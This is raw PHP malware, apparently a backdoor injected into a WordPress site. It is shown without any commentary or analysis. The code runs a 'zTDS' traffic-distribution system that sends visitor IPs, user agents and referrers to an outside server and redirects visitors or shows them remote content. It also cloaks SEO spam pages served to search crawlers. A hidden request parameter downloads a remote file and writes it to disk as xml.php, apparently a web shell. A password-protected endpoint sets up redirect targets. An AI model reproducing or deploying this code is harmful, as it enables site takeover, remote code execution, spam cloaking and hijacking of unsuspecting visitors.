if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://toremanc.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://toremanc.com/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://toremanc.com/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://toremanc.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://toremanc.com/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); 